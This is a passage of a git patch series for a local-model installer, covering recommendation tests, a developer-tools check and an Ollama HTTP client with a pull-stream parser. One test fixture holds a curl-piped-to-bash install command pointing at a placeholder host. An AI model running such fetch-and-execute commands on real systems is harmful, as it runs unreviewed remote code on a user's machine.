})).toBe('small'); + expect(tagOfSecond({ paramsB: 11.9 })).toBe('small'); + // None of them: no tag. An unknown speed is not a tag either. + expect(tagOfSecond({})).toBeUndefined(); + expect(tagOfSecond({ speedPer100Gbps: undefined })).toBeUndefined(); + }); + + it('takes every tag text from the fixed list', () => { + const texts = new Set<string>(Object.values(LOCAL_MODEL_TAG_LABELS)); + for (const hw of [...SWEEP, mac(48, 'Apple M5 Pro')]) { + for (const candidate of rows(recommend(hw, STOCK, ALL_INSTALLED))) { + if (!candidate.tag) continue; + expect(texts.has(candidate.tag.label)).toBe(true); + expect(candidate.tag.label).toBe(LOCAL_MODEL_TAG_LABELS[candidate.tag.kind]); + } + } + }); + + it('gives exactly one row the pick tag, and it is the first', () => { + for (const hw of SWEEP) { + const result = recommend(hw, STOCK, ALL_INSTALLED); + if (!result.pick) continue; + expect(result.pick.tag?.kind).toBe('best'); + expect(result.alternatives.some((c) => c.tag?.kind === 'best')).toBe(false); + } + }); + }); + + describe('the harnesses', () => { + const hw = mac(48, 'Apple M4 Max'); + + it('lists every harness that can run the model at its context, best first, the flat one first', () => { + const result = recommend(hw, STOCK, ALL_INSTALLED); + for (const candidate of rows(result)) { + expect(candidate.harnesses).toEqual([ + { cli: 'opencode', cliLabel: 'OpenCode', installed: true }, + { cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true }, + ]); + expect(candidate.harnesses[0]).toMatchObject({ + cli: candidate.cli, + cliLabel: candidate.cliLabel, + installed: candidate.cliInstalled, + }); + } + }); + + it('prints the install command of a harness that is not installed, and only of such a one', () => { + const command = 'curl -fsSL https://example.com/install | bash'; + const facts = [ + fact('opencode', { installed: false, installable: true, installCommand: command }), + // Installed: a command the caller knows is not shown. + fact('claude', { installCommand: 'npm install -g something' }), + ]; + expect(recommend(hw, STOCK, facts).pick?.harnesses).toEqual([ + { cli: 'opencode', cliLabel: 'OpenCode', installed: false, installCommand: command }, + { cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true }, + ]); + // Installable without a command the caller could name: listed, without the field. + const bare = recommend(hw, STOCK, [fact('opencode', { installed: false, installable: true })]); + expect(bare.pick?.harnesses).toEqual([{ cli: 'opencode', cliLabel: 'OpenCode', installed: false }]); + }); + + it('leaves out a harness that refuses the model id or is not on the machine', () => { + const facts = [ + fact('opencode', { acceptsModelId: (id: string) => id !== 'qwen3.8:27b' }), + fact('claude', { installed: false, installable: false }), + ]; + const result = recommend(hw, STOCK, facts); + for (const candidate of rows(result)) expect(candidate.harnesses.map((h) => h.cli)).toEqual(['opencode']); + expect(order(result)).not.toContain('qwen3.8:27b@131072'); + }); + + it('is never empty', () => { + for (const swept of [...SWEEP, mac(48, 'Apple M5 Pro')]) { + for (const candidate of rows(recommend(swept, STOCK, ALL_INSTALLED))) { + expect(candidate.harnesses.length).toBeGreaterThan(0); + expect(new Set(candidate.harnesses.map((h) => h.cli)).size).toBe(candidate.harnesses.length); + } + } + }); + }); + + describe('the download of an install', () => { + const hw = mac(48, 'Apple M4 Max'); + + it('is the model alone once the runtime is installed', () => { + for (const candidate of rows(recommend(hw, STOCK, ALL_INSTALLED))) { + expect(candidate.installBytes).toBe(candidate.downloadBytes); + expect(candidate.installGb).toBe(candidate.downloadGb); + } + }); + + it('adds the runtime archive to every row while the runtime is not installed', () => { + const result = recommend(hw, STOCK, ALL_INSTALLED, { runtimeDownloadBytes: RUNTIME_ARCHIVE_BYTES }); + for (const candidate of rows(result)) { + expect(candidate.installBytes).toBe(candidate.downloadBytes + 185_971_671); + expect(candidate.installGb).toBe(formatGb(candidate.installBytes)); + } + // 17,741,871,939 + 185,971,671: reads 17.9 where the model alone reads 17.7. + expect(result.pick).toMatchObject({ downloadGb: '17.7', installBytes: 17_927_843_610, installGb: '17.9' }); + }); + + it('does not let it change which model is the pick, what fits, or the need', () => { + const plain = recommend(hw, STOCK, ALL_INSTALLED); + const withRuntime = recommend(hw, STOCK, ALL_INSTALLED, { runtimeDownloadBytes: RUNTIME_ARCHIVE_BYTES }); + const strip = (candidate: Candidate): Omit<Candidate, 'installBytes' | 'installGb'> => { + const { installBytes: _bytes, installGb: _gb, ...rest } = candidate; + return rest; + }; + expect(rows(withRuntime).map(strip)).toEqual(rows(plain).map(strip)); + }); + + it('ignores a runtime size that is no byte count', () => { + for (const runtimeDownloadBytes of [0, -5, Number.NaN, Number.POSITIVE_INFINITY]) { + const pick = recommend(hw, STOCK, ALL_INSTALLED, { runtimeDownloadBytes }).pick as Candidate; + expect(pick.installBytes, String(runtimeDownloadBytes)).toBe(pick.downloadBytes); + } + }); + }); + + it('says whether the need of a row rests on a measurement of that model', () => { + const result = recommend(mac(64, 'Apple M4 Max'), STOCK, ALL_INSTALLED); + expect(Object.fromEntries(rows(result).map((c) => [c.modelId, c.needSource]))).toEqual({ + 'qwen3.8:27b': 'estimated', + 'qwen3.6:35b-a3b': 'measured', + 'qwen3.5:9b-q8_0': 'estimated', + 'qwen3.5:9b': 'estimated', + 'gpt-oss:20b': 'estimated', + }); + }); +}); + +describe('the measured budget, end to end', () => { + it('re-runs the recommendation against what the runtime reported', async () => { + const hw = await macbook(); + const estimated = recommend(hw, STOCK, ALL_INSTALLED); + const measured = recommend(hw, STOCK, ALL_INSTALLED, { measuredTotalBytes: MACBOOK_MEASURED_TOTAL }); + expect([estimated.budgetSource, estimated.budgetGb]).toEqual(['estimated', '37.6']); + expect([measured.budgetSource, measured.budgetGb]).toEqual(['measured', '40.2']); + // The same rows in the same order; only the share of each changes. + expect(order(measured)).toEqual(order(estimated)); + expect(rows(estimated).map((c) => c.budgetShare)).toEqual([0.957, 0.555, 0.452, 0.709, 0.814]); + expect(rows(measured).map((c) => c.budgetShare)).toEqual([0.895, 0.52, 0.423, 0.663, 0.762]); + for (const candidate of rows(measured)) { + expect(candidate.budgetShare).toBeCloseTo(candidate.needBytes / MACBOOK_MEASURED_TOTAL, 3); + } + }); + + it('can rule a model out that the estimate offered, and offer one the estimate ruled out', () => { + const hw = mac(48, 'Apple M4 Pro'); + // The estimate (35 GiB) offers the 35B-A3B at 131072 tokens (0.957). + expect(order(recommend(hw, STOCK, ALL_INSTALLED))[0]).toBe('qwen3.6:35b-a3b@131072'); + expect(modelFitsBudget(hw, STOCK, 'qwen3.6:35b-a3b', 131072)).toBe(true); + // A runtime that reports only 33 GiB rules that context out (1.015), so the install job + // stops before the download, and the recommendation steps the model down to 65536 (0.946). + const lower = { measuredTotalBytes: 33 * GIB }; + expect(modelFitsBudget(hw, STOCK, 'qwen3.6:35b-a3b', 131072, lower)).toBe(false); + expect(modelFitsBudget(hw, STOCK, 'qwen3.6:35b-a3b', 65536, lower)).toBe(true); + expect(recommend(hw, STOCK, ALL_INSTALLED, lower).pick).toMatchObject({ + modelId: 'qwen3.6:35b-a3b', + context: 65536, + budgetShare: 0.946, + }); + // At 31 GiB it fits at no context and is not listed at all. + const lowest = { measuredTotalBytes: 31 * GIB }; + expect(modelFitsBudget(hw, STOCK, 'qwen3.6:35b-a3b', 65536, lowest)).toBe(false); + expect(order(recommend(hw, STOCK, ALL_INSTALLED, lowest)).some((entry) => entry.startsWith('qwen3.6'))).toBe(false); + // On a 36 GB Mac the estimate (26 GiB) rules the 27B out at 65536 tokens; 27 GiB admits it. + const small = mac(36, 'Apple M4 Max'); + expect(modelFitsBudget(small, STOCK, 'qwen3.8:27b', 65536)).toBe(false); + expect(modelFitsBudget(small, STOCK, 'qwen3.8:27b', 65536, { measuredTotalBytes: 27 * GIB })).toBe(true); + }); +}); + describe('the shape of the answer', () => { const labels = new Set<string>(Object.values(LOCAL_MODEL_LABELS)); it('takes every sentence and label from the fixed list', () => { - for (const hw of SWEEP) { + for (const hw of [...SWEEP, mac(48, 'Apple M5 Pro')]) { const result = recommend(hw, STOCK, ALL_INSTALLED); expect(labels.has(result.headline.text)).toBe(true); for (const note of result.notes) expect(labels.has(note.text)).toBe(true); - for (const candidate of [result.pick, ...result.alternatives]) { - if (!candidate) continue; + for (const candidate of rows(result)) { expect(labels.has(candidate.fitLabel)).toBe(true); if (candidate.speedLabel !== undefined) expect(labels.has(candidate.speedLabel)).toBe(true); expect(candidate.speedLabel === undefined).toBe(candidate.speed === 'ok'); @@ -1450,7 +1971,7 @@ describe('the shape of the answer', () => { ]); // The two other sentences of the `memory` reason, and an answer with every kind of note. answers.push( - recommend(mac(16, 'Apple M4'), STOCK, ALL_INSTALLED), + recommend(mac(24, 'Apple M4'), STOCK, ALL_INSTALLED), recommend({ ...mac(48, 'Apple M4'), memBytes: 0, memGb: '0.0', memClassGb: 0 }, STOCK, ALL_INSTALLED), recommend(mac(48, 'Apple M4', { freeDiskBytes: 20 * GIB, freeDiskGb: '21.5' }), STOCK, ALL_INSTALLED) ); @@ -1476,26 +1997,26 @@ describe('the shape of the answer', () => { }); it('prints every size in one unit: decimal GB from the one formatter, never GiB', () => { - for (const hw of SWEEP) { - const result = recommend(hw, STOCK, ALL_INSTALLED); + for (const hw of [...SWEEP, mac(48, 'Apple M5 Pro')]) { + const result = recommend(hw, STOCK, ALL_INSTALLED, { runtimeDownloadBytes: RUNTIME_ARCHIVE_BYTES }); expect(result.budgetGb).toBe(formatGb(result.budgetBytes)); - for (const candidate of [result.pick, ...result.alternatives]) { - if (!candidate) continue; + for (const candidate of rows(result)) { expect(candidate.needGb).toBe(formatGb(candidate.needBytes)); expect(candidate.downloadGb).toBe(formatGb(candidate.downloadBytes)); + expect(candidate.installGb).toBe(formatGb(candidate.installBytes)); expect(candidate.budgetShare).toBeCloseTo(candidate.needBytes / result.budgetBytes, 3); } expect(JSON.stringify(result)).not.toMatch(/GiB|MiB/); } }); - it('adds up for a person: download, plus what the context and the runtime take, is the need', () => { + it('adds up for a person: download, plus what the context and the runner take, is the need', () => { const result = recommend(mac(48, 'Apple M4 Max'), STOCK, ALL_INSTALLED); const pick = result.pick as Candidate; - // 17.7 GB of weights + 8 GiB of KV cache + 1 GiB + 2 GiB of prompt cache, all in decimal GB. + // 17.7 GB of weights + 4.8 GB held for 131,072 tokens + 3 GB + 5 GB, all in decimal GB. expect(pick.downloadGb).toBe('17.7'); - expect(pick.needGb).toBe('29.6'); - expect(formatGb(pick.needBytes - pick.downloadBytes)).toBe('11.8'); + expect(pick.needGb).toBe('30.6'); + expect(formatGb(pick.needBytes - pick.downloadBytes)).toBe('12.8'); expect(result.budgetGb).toBe('37.6'); expect(pick.needBytes).toBeLessThan(result.budgetBytes); }); @@ -1513,12 +2034,47 @@ describe('the shape of the answer', () => { ); }); + it('gives every row the same fields, plus the ones that say something only sometimes', () => { + const always = [ + 'budgetShare', + 'cli', + 'cliInstalled', + 'cliLabel', + 'context', + 'downloadBytes', + 'downloadGb', + 'fit', + 'fitLabel', + 'harnesses', + 'installBytes', + 'installGb', + 'license', + 'modelId', + 'modelLabel', + 'needBytes', + 'needGb', + 'needSource', + 'paramsB', + 'speed', + 'tested', + ]; + const sometimes = ['slowFirstTurn', 'speedLabel', 'tag', 'tokensPerSecond']; + for (const hw of [...SWEEP, mac(48, 'Apple M5 Pro')]) { + for (const candidate of rows(recommend(hw, STOCK, ALL_INSTALLED))) { + const keys = Object.keys(candidate); + expect(keys.filter((key) => !sometimes.includes(key)).sort()).toEqual(always); + for (const key of keys) expect((candidate as unknown as Record<string, unknown>)[key]).not.toBeUndefined(); + } + } + }); + it('is pure: frozen inputs are enough, and the same inputs give the same answer', () => { const hw = deepFreeze(mac(48, 'Apple M4 Pro')); const catalog = deepFreeze(structuredClone(STOCK_LOCAL_MODEL_CATALOG)); const facts = deepFreeze(ALL_INSTALLED.map((entry) => ({ ...entry }))); - const first = recommend(hw, catalog, facts); - const second = recommend(hw, catalog, facts); + const options = deepFreeze({ measuredTotalBytes: MACBOOK_MEASURED_TOTAL, runtimeDownloadBytes: 1 }); + const first = recommend(hw, catalog, facts, options); + const second = recommend(hw, catalog, facts, options); expect(second).toEqual(first); expect(first.verdict).toBe('ok'); }); From 2af413aa9bbd715a23307f47e1e3f899688d78a7 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 22:16:38 +0100 Subject: [PATCH 12/28] feat(local-model): the pinned runtime, its supervisor and the runtime client runtime.ts: the runtime is pinned in a compiled constant (version, URL, size, sha256). The archive is streamed to a .partial file while it is hashed, continued with a Range request, retried at most 3 times, and the hash is compared before anything is unpacked; a mismatch deletes the file. It is unpacked with /usr/bin/tar into a temporary folder and renamed. The supervisor runs the runtime as a non-detached child with an environment built from an allowlist by the pure runtimeEnv(), on a port chosen once by binding. It restarts the child at most 3 times, stops it with SIGTERM, adopts or replaces its own orphan on the port and answers port-in-use for any other listener. parseInferenceComputeTotal() reads the device total the runtime logs when it starts. Under vitest nothing spawns or fetches. ollama-client.ts: the pull is parsed incrementally by a pure parser (a 23 GB pull is about 1.4 million lines), with up to 5 retries on an error line or a cut stream. verifyModel() loads the model with one tiny chat, checks what the runtime reports (all on the GPU, the chosen context) and makes one tool probe; each failure is a code. developer-tools.ts: only /usr/bin/xcode-select -p, bounded, darwin only. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/local-model/developer-tools.ts | 97 +- src/local-model/ollama-client.ts | 581 +++++++++++- src/local-model/runtime.ts | 1026 +++++++++++++++++++++- test/local-model-developer-tools.test.ts | 153 ++++ test/local-model-ollama-client.test.ts | 950 ++++++++++++++++++++ test/local-model-runtime.test.ts | 982 +++++++++++++++++++++ test/local-model-supervisor.test.ts | 796 +++++++++++++++++ 7 files changed, 4525 insertions(+), 60 deletions(-) create mode 100644 test/local-model-developer-tools.test.ts create mode 100644 test/local-model-ollama-client.test.ts create mode 100644 test/local-model-runtime.test.ts create mode 100644 test/local-model-supervisor.test.ts diff --git a/src/local-model/developer-tools.ts b/src/local-model/developer-tools.ts index 65e50c63..c7f7446b 100644 --- a/src/local-model/developer-tools.ts +++ b/src/local-model/developer-tools.ts @@ -1,9 +1,6 @@ /** * @fileoverview Whether this Mac has the developer tools a coding agent calls (git, Python). * - * CONTRACT STAGE: the function below has its final signature and a body that throws; the body - * is written next. - * * Why it exists: on a Mac without Xcode or the Command Line Tools, `git` and `python3` are * stubs that open macOS's "install the command line developer tools" window. A coding agent * runs both, so the install window says one honest sentence when the tools are missing @@ -15,19 +12,24 @@ * - macOS only. Anywhere else, and when the command does not answer in time, the answer is * `unknown`, and nothing is said. * - Never throws. The answer is cached for a short while, so a window that polls once a - * second does not spawn once a second. + * second does not spawn once a second. Only `present` and `missing` are cached: an + * `unknown` is asked again, because it says the check itself did not work. + * - Under vitest the default `run` spawns nothing and answers "did not start", so a test + * that wants an answer injects its own. */ +import { execFile } from 'node:child_process'; import type { LocalModelDeveloperTools } from '../types.js'; -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} - /** How long `/usr/bin/xcode-select -p` may take. */ export const DEVELOPER_TOOLS_TIMEOUT_MS = 2_000; +/** How long an answer is reused. Installing the tools takes minutes, so a minute of staleness is not seen. */ +const DEVELOPER_TOOLS_CACHE_MS = 60_000; + +/** The one command this module runs. It prints the active developer directory and exits 0, or exits with an error when there is none. */ +const XCODE_SELECT = '/usr/bin/xcode-select'; + /** What the check calls. Each member defaults to the real thing; a test injects its own. */ export interface DeveloperToolsDeps { /** Default `process.platform`. */ @@ -36,7 +38,80 @@ export interface DeveloperToolsDeps { run: (file: string, args: readonly string[], timeoutMs: number) => Promise<number | null>; } -/** `present` when `/usr/bin/xcode-select -p` exits 0, `missing` when it exits with anything else, `unknown` otherwise. */ +/** The default `run`: one bounded `execFile`, no shell. Spawns nothing under vitest. */ +function runBounded(file: string, args: readonly string[], timeoutMs: number): Promise<number | null> { + return new Promise((resolve) => { + if (process.env.VITEST) return resolve(null); + try { + execFile(file, [...args], { timeout: timeoutMs }, (err) => { + if (!err) return resolve(0); + // A number is the exit code of a command that ran. Anything else (ENOENT, a timeout + // that killed it) is "it did not answer". + const code = (err as { code?: unknown }).code; + resolve(typeof code === 'number' && !(err as { killed?: boolean }).killed ? code : null); + }); + } catch { + resolve(null); + } + }); +} + +async function check(deps: DeveloperToolsDeps): Promise<LocalModelDeveloperTools> { + if (deps.platform !== 'darwin') return 'unknown'; + let code: number | null; + try { + code = await deps.run(XCODE_SELECT, ['-p'], DEVELOPER_TOOLS_TIMEOUT_MS); + } catch { + code = null; + } + if (code === null || !Number.isInteger(code)) return 'unknown'; + return code === 0 ? 'present' : 'missing'; +} + +/** + * A check that remembers its answer for a minute and shares one run among callers that ask at + * the same time. `now` is the clock of the cache; a test injects its own. + */ +export function createDeveloperToolsCheck( + deps: Partial<DeveloperToolsDeps> & { now?: () => number } = {} +): () => Promise<LocalModelDeveloperTools> { + const resolved: DeveloperToolsDeps = { + platform: deps.platform ?? process.platform, + run: deps.run ?? runBounded, + }; + const now = deps.now ?? Date.now; + let cached: { answer: LocalModelDeveloperTools; at: number } | undefined; + let inFlight: Promise<LocalModelDeveloperTools> | undefined; + return () => { + if (cached && now() - cached.at < DEVELOPER_TOOLS_CACHE_MS) return Promise.resolve(cached.answer); + inFlight ??= check(resolved) + .then((answer) => { + if (answer !== 'unknown') cached = { answer, at: now() }; + return answer; + }) + .finally(() => { + inFlight = undefined; + }); + return inFlight; + }; +} + +/** The check of this server's own Mac. */ +let shared = createDeveloperToolsCheck(); + +/** Forgets the cached answer of this server's own Mac. For tests. */ +export function resetDeveloperToolsCache(): void { + shared = createDeveloperToolsCheck(); +} + +/** + * `present` when `/usr/bin/xcode-select -p` exits 0, `missing` when it exits with anything + * else, `unknown` otherwise. Without `deps` it is the cached check of this server's Mac; with + * a platform or a runner of the caller's it asks once and remembers nothing. + */ export async function checkDeveloperTools(deps: Partial<DeveloperToolsDeps> = {}): Promise<LocalModelDeveloperTools> { - return notImplemented('checkDeveloperTools', deps); + if (deps.platform !== undefined || deps.run !== undefined) { + return check({ platform: deps.platform ?? process.platform, run: deps.run ?? runBounded }); + } + return shared(); } diff --git a/src/local-model/ollama-client.ts b/src/local-model/ollama-client.ts index bf7bb17b..a597c138 100644 --- a/src/local-model/ollama-client.ts +++ b/src/local-model/ollama-client.ts @@ -2,9 +2,6 @@ * @fileoverview The HTTP client of the model runtime: what Codeman asks its own runtime on * the loopback port, and the pure functions that read the answers. * - * CONTRACT STAGE: every function below has its final signature and a body that throws; the - * bodies are written next. - * * What it asks: * - `GET /api/version`, `GET /api/tags`, `GET /api/ps`, `GET /v1/models`, `DELETE /api/delete`. * - `POST /api/pull` with `stream: true`. The answer is one JSON object per line, and a @@ -23,24 +20,46 @@ * Rules: * - Nothing here throws for something a runtime can answer: every outcome is a result with * the job's error code. An abort signal is the result `cancelled`. + * - Every request is bounded: a listing by seconds, the two probes by minutes (the first + * chat loads the model). Only the pull has no deadline of its own, because its length is + * the download; it ends with the stream, and the caller's signal cancels it. * - The runtime does not enforce the context length (a prompt of 167,012 tokens was accepted * at 131072), so nothing here relies on it to. * - Every function takes its `fetch` from the target, so a test passes the fake runtime's - * address and spawns nothing. + * address and spawns nothing. The target is always a loopback address the caller built from + * the stored port: no function here takes a URL from a file or a request. */ import type { LocalModelErrorCode } from '../types.js'; -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} - /** How often a pull that ended on an error line or a cut stream is started again. */ export const PULL_RETRIES = 5; /** `max_tokens` of the tool probe. */ export const TOOL_PROBE_MAX_TOKENS = 1024; +/** How long `/api/version` may take: it is asked while a runtime starts, many times. */ +const VERSION_TIMEOUT_MS = 2_000; +/** How long a listing or a delete may take. */ +const LIST_TIMEOUT_MS = 10_000; +/** How long the chat that loads the model may take. A 23 GB model loaded in 5.9 s on the test Mac; a cold disk is slower. */ +const CHAT_PROBE_TIMEOUT_MS = 180_000; +/** How long the tool probe may take. The model is loaded by then. */ +const TOOL_PROBE_TIMEOUT_MS = 120_000; +/** `max_tokens` of the chat that loads the model: its answer is not read. */ +const CHAT_PROBE_MAX_TOKENS = 16; +/** The least time between two progress reports of a pull. */ +const PULL_PROGRESS_INTERVAL_MS = 250; +/** The window the download speed is averaged over. */ +const PULL_SPEED_WINDOW_MS = 5_000; +/** The first wait before a pull is started again; it doubles with every retry. */ +const PULL_RETRY_DELAY_MS = 1_000; +/** A pull line longer than this is not a pull line. It is dropped, so a stream without line breaks cannot grow the buffer. */ +const MAX_PULL_LINE_CHARS = 1024 * 1024; +/** More layers than any model has. Lines for further ones are counted and not added up, so the layer table cannot grow without bound. */ +const MAX_PULL_LAYERS = 1024; +/** How much of a runtime's error text is kept as `detail`. */ +const MAX_DETAIL_CHARS = 400; + /** Which runtime to ask. */ export interface OllamaTarget { /** `http://127.0.0.1:<port>`, without a trailing slash. */ @@ -49,6 +68,100 @@ export interface OllamaTarget { fetch?: typeof fetch; } +// ---------- Plumbing ---------- + +function isRecord(value: unknown): value is Record<string, unknown> { + return typeof value === 'object' && value !== null && !Array.isArray(value); +} + +function asString(value: unknown): string | undefined { + return typeof value === 'string' && value !== '' ? value : undefined; +} + +/** A byte count or a token count as the runtime reports it: a finite number that is not negative. */ +function asCount(value: unknown): number | undefined { + return typeof value === 'number' && Number.isFinite(value) && value >= 0 ? value : undefined; +} + +function clip(text: string): string { + const trimmed = text.trim(); + return trimmed.length > MAX_DETAIL_CHARS ? `${trimmed.slice(0, MAX_DETAIL_CHARS)}...` : trimmed; +} + +function errorText(err: unknown): string { + if (err instanceof Error) { + // undici wraps the reason ("fetch failed") and keeps the useful part in `cause`. + const cause = (err as { cause?: unknown }).cause; + return clip(cause instanceof Error && cause.message ? `${err.message}: ${cause.message}` : err.message); + } + return clip(String(err)); +} + +/** The error text of a runtime answer: `{"error":"..."}` (its own routes) or `{"error":{"message":"..."}}` (the OpenAI routes). */ +function errorOfBody(body: unknown): string | undefined { + if (!isRecord(body)) return undefined; + const { error } = body; + if (typeof error === 'string') return asString(error); + if (isRecord(error)) return asString(error.message); + return undefined; +} + +/** The caller's signal joined with a deadline. */ +function bounded(signal: AbortSignal | undefined, timeoutMs: number): AbortSignal { + const deadline = AbortSignal.timeout(timeoutMs); + return signal ? AbortSignal.any([signal, deadline]) : deadline; +} + +/** An answer of the runtime: its status and its body as JSON (`undefined` when it is not JSON). */ +interface Answer { + status: number; + body: unknown; + text: string; +} + +/** + * One bounded request. `undefined` when nothing answered (refused, timed out, aborted): the + * caller looks at its own signal to tell an abort from the rest. + */ +async function ask( + target: OllamaTarget, + path: string, + init: { method?: string; json?: unknown }, + timeoutMs: number, + signal?: AbortSignal +): Promise<Answer | undefined> { + const fetchFn = target.fetch ?? fetch; + try { + const res = await fetchFn(`${target.baseUrl}${path}`, { + method: init.method ?? 'GET', + ...(init.json !== undefined + ? { headers: { 'content-type': 'application/json' }, body: JSON.stringify(init.json) } + : {}), + signal: bounded(signal, timeoutMs), + }); + const text = await res.text(); + let body: unknown; + try { + body = text === '' ? undefined : JSON.parse(text); + } catch { + body = undefined; + } + return { status: res.status, body, text }; + } catch { + return undefined; + } +} + +/** A digest as it is stored and compared: lowercase hex without the `sha256:` prefix. */ +function normalizeDigest(value: unknown): string { + return typeof value === 'string' + ? value + .trim() + .toLowerCase() + .replace(/^sha256:/, '') + : ''; +} + // ---------- Listings ---------- /** One model of `GET /api/tags`: what is on disk. */ @@ -79,24 +192,69 @@ export interface OllamaPsModel { digest?: string; } +/** The `models` array of a listing, or an empty one. */ +function modelsOf(answer: Answer | undefined): Record<string, unknown>[] { + if (!answer || answer.status !== 200 || !isRecord(answer.body)) return []; + const { models } = answer.body; + return Array.isArray(models) ? models.filter(isRecord) : []; +} + /** The runtime's version ('0.40.15'), or `undefined` when nothing answers there or the answer is not a runtime's. */ export async function getRuntimeVersion(target: OllamaTarget, signal?: AbortSignal): Promise<string | undefined> { - return notImplemented('getRuntimeVersion', target, signal); + const answer = await ask(target, '/api/version', {}, VERSION_TIMEOUT_MS, signal); + if (!answer || answer.status !== 200 || !isRecord(answer.body)) return undefined; + return asString(answer.body.version); } /** The models on disk. An empty list when the runtime has none or does not answer. */ export async function listTags(target: OllamaTarget, signal?: AbortSignal): Promise<OllamaTagModel[]> { - return notImplemented('listTags', target, signal); + const listed: OllamaTagModel[] = []; + for (const row of modelsOf(await ask(target, '/api/tags', {}, LIST_TIMEOUT_MS, signal))) { + const name = asString(row.name) ?? asString(row.model); + if (!name) continue; + const details = isRecord(row.details) ? row.details : {}; + const format = asString(details.format); + const runner = asString(details.runner) ?? asString(row.runner); + const capabilities = Array.isArray(row.capabilities) + ? row.capabilities.filter((entry): entry is string => typeof entry === 'string') + : undefined; + listed.push({ + name, + size: asCount(row.size) ?? 0, + digest: normalizeDigest(row.digest), + ...(format ? { format } : {}), + ...(runner ? { runner } : {}), + ...(capabilities ? { capabilities } : {}), + }); + } + return listed; } /** The models loaded right now. An empty list when none is or the runtime does not answer. */ export async function listRunning(target: OllamaTarget, signal?: AbortSignal): Promise<OllamaPsModel[]> { - return notImplemented('listRunning', target, signal); + const listed: OllamaPsModel[] = []; + for (const row of modelsOf(await ask(target, '/api/ps', {}, LIST_TIMEOUT_MS, signal))) { + const name = asString(row.name) ?? asString(row.model); + if (!name) continue; + const digest = normalizeDigest(row.digest); + listed.push({ + name, + size: asCount(row.size) ?? 0, + sizeVram: asCount(row.size_vram) ?? 0, + contextLength: asCount(row.context_length) ?? 0, + ...(digest ? { digest } : {}), + }); + } + return listed; } /** The model ids `GET /v1/models` lists, exactly as listed (the runtime answers `data: null` for none). */ export async function listOpenAiModels(target: OllamaTarget, signal?: AbortSignal): Promise<string[]> { - return notImplemented('listOpenAiModels', target, signal); + const answer = await ask(target, '/v1/models', {}, LIST_TIMEOUT_MS, signal); + if (!answer || answer.status !== 200 || !isRecord(answer.body)) return []; + const { data } = answer.body; + if (!Array.isArray(data)) return []; + return data.flatMap((row) => (isRecord(row) && typeof row.id === 'string' && row.id !== '' ? [row.id] : [])); } /** The digest `GET /api/tags` reports for `modelId`, or `undefined` when the model is not on disk. */ @@ -105,12 +263,21 @@ export async function readModelDigest( modelId: string, signal?: AbortSignal ): Promise<string | undefined> { - return notImplemented('readModelDigest', target, modelId, signal); + const found = (await listTags(target, signal)).find((model) => model.name === modelId); + return found && found.digest !== '' ? found.digest : undefined; } /** Deletes a model from the runtime's store. True when it is gone afterwards (also when it never was there). */ export async function deleteModel(target: OllamaTarget, modelId: string, signal?: AbortSignal): Promise<boolean> { - return notImplemented('deleteModel', target, modelId, signal); + const answer = await ask( + target, + '/api/delete', + { method: 'DELETE', json: { model: modelId } }, + LIST_TIMEOUT_MS, + signal + ); + // 404 is the runtime's answer for a model it does not have. + return answer !== undefined && (answer.status === 200 || answer.status === 404); } // ---------- Pull ---------- @@ -154,10 +321,104 @@ export interface PullParser { * `{"status":"writing manifest"}`, `{"status":"success"}` * - `{"error":"max retries exceeded: local error: tls: bad record MAC"}` * - * A line that is not JSON is skipped and still counted. + * A line that is not JSON is skipped and still counted. A blank line is not a line. */ export function createPullParser(): PullParser { - return notImplemented('createPullParser'); + const decoder = new TextDecoder(); + // One entry per layer: what the layer's last line said. A model has a handful of layers. + const layers = new Map<string, { total: number; completed: number }>(); + let pending = ''; + // True while a line longer than the limit is being skipped up to its line break. + let skipping = false; + let status: string | undefined; + let succeeded = false; + let error: string | undefined; + let lines = 0; + + function line(text: string): void { + const trimmed = text.trim(); + if (trimmed === '') return; + lines += 1; + let parsed: unknown; + try { + parsed = JSON.parse(trimmed); + } catch { + return; + } + if (!isRecord(parsed)) return; + const failure = errorOfBody(parsed); + if (failure !== undefined) { + error ??= clip(failure); + return; + } + const lineStatus = asString(parsed.status); + if (lineStatus !== undefined) { + status = lineStatus; + if (lineStatus === 'success') succeeded = true; + } + const total = asCount(parsed.total); + if (total === undefined) return; + // A layer is named by its digest; a line without one by its status text. + const key = asString(parsed.digest) ?? lineStatus; + if (key === undefined) return; + const known = layers.get(key); + if (!known && layers.size >= MAX_PULL_LAYERS) return; + // `completed` is absent until the layer's first bytes arrived: what was seen before stays. + const completed = asCount(parsed.completed) ?? known?.completed ?? 0; + layers.set(key, { total, completed: Math.min(completed, total) }); + } + + function feed(text: string): void { + let rest = text; + for (;;) { + const breakAt = rest.indexOf('\n'); + if (breakAt < 0) break; + const head = rest.slice(0, breakAt); + rest = rest.slice(breakAt + 1); + if (skipping) { + // The end of the line that was too long: it was counted when it was dropped. + skipping = false; + } else { + line(pending + head); + } + pending = ''; + } + if (skipping) return; + pending += rest; + if (pending.length > MAX_PULL_LINE_CHARS) { + pending = ''; + skipping = true; + lines += 1; + } + } + + return { + push(chunk) { + feed(typeof chunk === 'string' ? chunk : decoder.decode(chunk, { stream: true })); + }, + end() { + feed(decoder.decode()); + if (!skipping && pending !== '') line(pending); + pending = ''; + skipping = false; + }, + snapshot() { + let completedBytes = 0; + let totalBytes = 0; + for (const layer of layers.values()) { + completedBytes += layer.completed; + totalBytes += layer.total; + } + return { + completedBytes, + totalBytes, + ...(status !== undefined ? { status } : {}), + succeeded, + ...(error !== undefined ? { error } : {}), + lines, + }; + }, + }; } /** How far a pull is, for the caller's progress display. */ @@ -196,9 +457,145 @@ export type PullResult = } | { ok: false; code: 'cancelled' }; +/** How one request of a pull ended. */ +type PullAttempt = + | { kind: 'success'; totalBytes: number } + | { kind: 'cancelled' } + | { kind: 'fatal'; code: 'model-not-found' | 'disk-full'; detail: string } + | { kind: 'retry'; detail: string }; + +/** + * What an error text of the runtime means for the pull. A model the registry does not have and + * a full disk do not get better by asking again; everything else (a damaged download, a + * dropped connection) may. + */ +function classifyPullError(text: string): PullAttempt { + const detail = clip(text); + if (/file does not exist|manifest 